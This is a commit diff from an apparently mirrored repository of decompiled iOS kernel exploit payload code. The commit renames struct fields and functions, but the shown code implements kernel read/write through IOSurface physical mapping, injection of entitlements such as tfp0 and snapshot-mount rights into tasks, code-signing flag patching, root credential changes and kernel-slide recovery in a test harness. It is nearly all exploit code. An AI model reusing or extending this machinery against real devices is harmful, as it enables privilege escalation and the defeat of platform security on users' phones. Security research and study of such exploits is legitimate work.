CalvinBackup/coruna
1
0
Fork 0
mirror of https://github.com/khanhduytran0/coruna.git synced 2026-07-12 15:06:38 +02:00
Code Issues Packages Projects Releases Wiki Activity

Change a little stuff

Browse Source
This commit is contained in:
khanhduytran0
2026-06-06 19:54:00 +07:00
parent 5995d6b095
commit d29e8c9656
3 changed files with 23 additions and 66 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/payload_377bed/defs.h
+2 -2
View File
@@ -95,7 +95,7 @@ struct __attribute__((packed)) struct_krwCtx
/* 00000040 */ uint64_t iogpuKwriteFn;
/* 00000048 */ uint64_t iogpuKwrite2Fn;
/* 00000050 */ uint64_t iogpuCtx;
/* 00000058 */ uint32_t gap_0x58;
/* 00000058 */ uint32_t ioSurfaceMemEntryMaybe;
/* 0000005C */ uint32_t gap_0x5C_size4;
/* 00000060 */ uint8_t gap_0x60_to_0x80[0x20];
/* 00000080 */ uint64_t gap_0x80;
@@ -231,7 +231,7 @@ struct __attribute__((packed)) struct_krwCtx
/* 000005E0 */ uint32_t pgtableRootSpan;
/* 000005E4 */ uint8_t gap_0x5E4_to_0x5E8[0x4];
/* 000005E8 */ PgtableWalkCacheEntry pgtableWalkCache[16];
/* 00000868 */ uint64_t gap_0x868;
/* 00000868 */ uint64_t lruCacheLastUpdatedTime;
/* 00000870 */ uint64_t gap_0x870;
/* 00000878 */ uint64_t gap_0x878;
/* 00000880 */ uint8_t gap_0x880_to_0x1888[0x1008];
src/payload_377bed/entry1_type0x09.m
+16 -16
View File
@@ -227,7 +227,7 @@ __int64 __fastcall get_kernel_load_addr_bsm(__int64 a1, const char *a2, unsigned
__int64 __fastcall remount_hfs(__int64 a1, const char *a2, int a3);
bool check_root_is_apfs();
__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml);
__int64 __fastcall get_mach_thread_info(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5);
__int64 __fastcall krw_inject_entitlements_to_task(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5);
__int64 __fastcall find_connect_ioavservice(__int64 a1);
__int64 __fastcall get_kernel_task_iokit(__int64 a1);
__int64 test_appsepmanager_presence();
@@ -866,7 +866,7 @@ char *_CFProcessPath(void);
#define DRIVER_CMD_PATCH_PARENT_CSFLAGS 1
#define DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET 2
#define DRIVER_CMD_INJECT_TFP0_ENTITLEMENT 3
#define DRIVER_CMD_INJECT_TFP_ENTITLEMENT 3
#define DRIVER_CMD_PATCH_CSBLOB 6
#define DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH 7
#define DRIVER_CMD_GET_OR_SET_SELF_UID_CRED 8
@@ -9970,7 +9970,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsign
v10 = v9;
address = 0;
v11 = vm_page_size;
v12 = *(uint32_t *)&krwCtx->gap_0x58;
v12 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
if ( v12 + 1 > 1 )
{
v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~krwCtx->pageMask, 0, 3, 3, 2u);
@@ -9981,7 +9981,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsign
{
return 0xFFFFFFFFLL;
}
v15 = *(uint32_t *)&krwCtx->gap_0x58;
v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
if ( (unsigned int)(v15 + 1) >= 2 )
v16 = address;
else
@@ -9992,7 +9992,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsign
v5 = 0;
atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu);
*(uint16_t *)(v17 + 2) = 0x4000;
v15 = *(uint32_t *)&krwCtx->gap_0x58;
v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
}
else
{
@@ -12386,7 +12386,7 @@ __int64 __fastcall check_mount_thread_info(struct_krwCtx *krwCtx, int a2)
strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1");
strcpy(v18, "/");
krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_SNAPSHOT_MOUNTED);
if ( !(unsigned int)get_mach_thread_info(
if ( !(unsigned int)krw_inject_entitlements_to_task(
krwCtx,
mach_task_self_,
"<dict><key>com.apple.private.vfs.snapshot</key><true/></dict>",
@@ -13027,7 +13027,7 @@ LABEL_16:
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
//----- (00000000000154D0) ----------------------------------------------------
__int64 __fastcall get_mach_thread_info(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5)
__int64 __fastcall krw_inject_entitlements_to_task(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5)
{
__int64 result; // x0
__int64 v10; // x23
@@ -19163,11 +19163,11 @@ bool __fastcall krw_setup_iosurface(struct_krwCtx *krwCtx)
return true;
if ( (unsigned int)(krwCtx->threadForKernelRead + 1) < 2
|| !krwCtx->gap_0xD8
|| (unsigned int)(krwCtx->gap_0x58 + 1) < 2 )
|| (unsigned int)(krwCtx->ioSurfaceMemEntryMaybe + 1) < 2 )
{
return false;
}
v17[0] = krwCtx->gap_0x58;
v17[0] = krwCtx->ioSurfaceMemEntryMaybe;
v4 = setup_physmap_krw(krwCtx, 0);
if ( v4 )
return false;
@@ -19299,7 +19299,7 @@ bool __fastcall krw_setup_iosurface_v2(struct_krwCtx *krwCtx, uint32_t *a2)
if ( (unsigned __int64)(v21 - 1) <= 0x1F )
{
krwCtx->gap_0x18A0 = v21;
krwCtx->gap_0x58 = object[0];
krwCtx->ioSurfaceMemEntryMaybe = object[0];
v22 = *(uint64_t *)(v20 + 48);
if ( v22 )
{
@@ -22135,11 +22135,11 @@ uint64_t __fastcall update_timer_lru_cache(struct_krwCtx *krwCtx)
__int64 i; // x8
__int64 v5; // x10
v2 = krwCtx->gap_0x868;
v2 = krwCtx->lruCacheLastUpdatedTime;
result = mach_absolute_time();
if ( v2 )
{
if ( (result - krwCtx->gap_0x868) * krwCtx->timebase.numer / krwCtx->timebase.denom < 0x12A153440LL )
if ( (result - krwCtx->lruCacheLastUpdatedTime) * krwCtx->timebase.numer / krwCtx->timebase.denom < 0x12A153440LL )
return result;
for ( i = 0; i != 640; i += 40 )
{
@@ -22150,7 +22150,7 @@ uint64_t __fastcall update_timer_lru_cache(struct_krwCtx *krwCtx)
}
result = mach_absolute_time();
}
krwCtx->gap_0x868 = result;
krwCtx->lruCacheLastUpdatedTime = result;
return result;
}
@@ -27187,7 +27187,7 @@ __int64 __fastcall physmap_maybe(struct_krwCtx *krwCtx, vm_address_t *address, v
{
kern_return_t v4; // w0
v4 = vm_map(mach_task_self_, address, size, 0, 1, krwCtx->gap_0x58, paddr & ~krwCtx->pageMask, 0, 3, 3, 2u);
v4 = vm_map(mach_task_self_, address, size, 0, 1, krwCtx->ioSurfaceMemEntryMaybe, paddr & ~krwCtx->pageMask, 0, 3, 3, 2u);
if ( v4 )
return v4 | 0x80000000;
else
@@ -27892,7 +27892,7 @@ __int64 __fastcall map_physpage_with_mem_entry(struct_krwCtx *krwCtx, vm_address
mem_entry_name_port_t v4; // w5
kern_return_t v6; // w0
v4 = krwCtx->gap_0x58;
v4 = krwCtx->ioSurfaceMemEntryMaybe;
if ( v4 + 1 < 2 )
return 708609;
v6 = vm_map(mach_task_self_, a2, a3, 0, 1, v4, a4 & ~krwCtx->pageMask, 0, 3, 3, 2u);
@@ -45816,7 +45816,7 @@ __int64 __fastcall driver_dispatch_command3(struct_krwCtx *krwCtx, int cmd, __in
case DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET:
v30 = mach_task_self_;
goto LABEL_124;
case DRIVER_CMD_INJECT_TFP0_ENTITLEMENT:
case DRIVER_CMD_INJECT_TFP_ENTITLEMENT:
v8[0] = krw_inject_entitlements_maybe(
krwCtx,
mach_task_self_,
src/payload_377bed/test.m
+5 -48
View File
@@ -1,6 +1,7 @@
@import Darwin;
@import MachO;
@import Foundation;
#import "defs.h"
#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
#define CS_HARD 0x00000100 /* don't load invalid pages */
@@ -14,51 +15,7 @@
#define DRIVER_CMD_TASK_GET_ROOT 26
#define DRIVER_CMD_TASK_FOR_PID 0xc000001d
//typedef struct {
// uint8_t __unk[7520];
//} krw_ctx_t;
typedef struct struct_krwCtx // sizeof=0x1D50
{
uint32_t flags;
uint8_t gap_0x4[168];
uint32_t threadForKernelRead;
uint8_t gap_0xB0[144];
int xnuMajorVersion;
uint8_t gap_0x144[20];
uint64_t someLargeNumber;
uint8_t gap_0x160[8];
int stride_0x168;
int gap_0x16C[7];
uint64_t pageMask;
uint8_t gap_0x190[136];
uint64_t gap_0x218;
uint8_t gap_0x220[56];
int isRW;
struct mach_timebase_info timebase;
mach_port_t semaphore;
pthread_mutex_t someMutex;
uint32_t someInt1;
uint32_t someInt2;
uint64_t gap_0x2B0[16];
pthread_mutex_t someMutex2;
uint64_t gap_0x370[695];
uint32_t gap_0x1928;
uint32_t gap_0x192C;
uint32_t krw_pipe_0[2];
uint32_t gap_0x1938;
uint32_t gap_0x193C;
uint32_t gap_0x1940;
uint32_t gap_0x1944;
uint64_t gap_0x1948[16];
uint64_t machHeaderPlus0x8000;
uint64_t gap_0x19D0;
uint64_t gap_0x19D8;
uint64_t slideMaybe;
uint64_t gap_0x19E8[108];
uint64_t IOKitConnInfo;
} krw_ctx_t;
typedef struct_krwCtx krw_ctx_t;
typedef struct module_vtable module_vtable_t;
typedef int (*driver_init_t)(module_vtable_t *vtable, uint64_t arg1, krw_ctx_t **ctx_out);
typedef int (*driver_free_t)(module_vtable_t *vtable);
@@ -205,13 +162,13 @@ int main(int argc, char *argv[], char *envp[]) {
printf("Driver initialized, ctx: %p\n", global_ctx);
printf("slideMaybe=0x%llx\n", global_ctx->slideMaybe);
//printf("slideMaybe=0x%llx\n", global_ctx->slideMaybe);
kernelbase = global_ctx->machHeaderPlus0x8000 - 0x8000;
slide = kernelbase - 0xfffffff007004000;
NSLog(@"kernel base: 0x%llx\n", kernelbase);
NSLog(@"kernel slide: 0x%llx\n", slide);
printf("kernel base: 0x%llx\n", kernelbase);
printf("kernel slide: 0x%llx\n", slide);
uint64_t val = kread64(kernelbase);
printf("Kernel header: 0x%llx\n", val);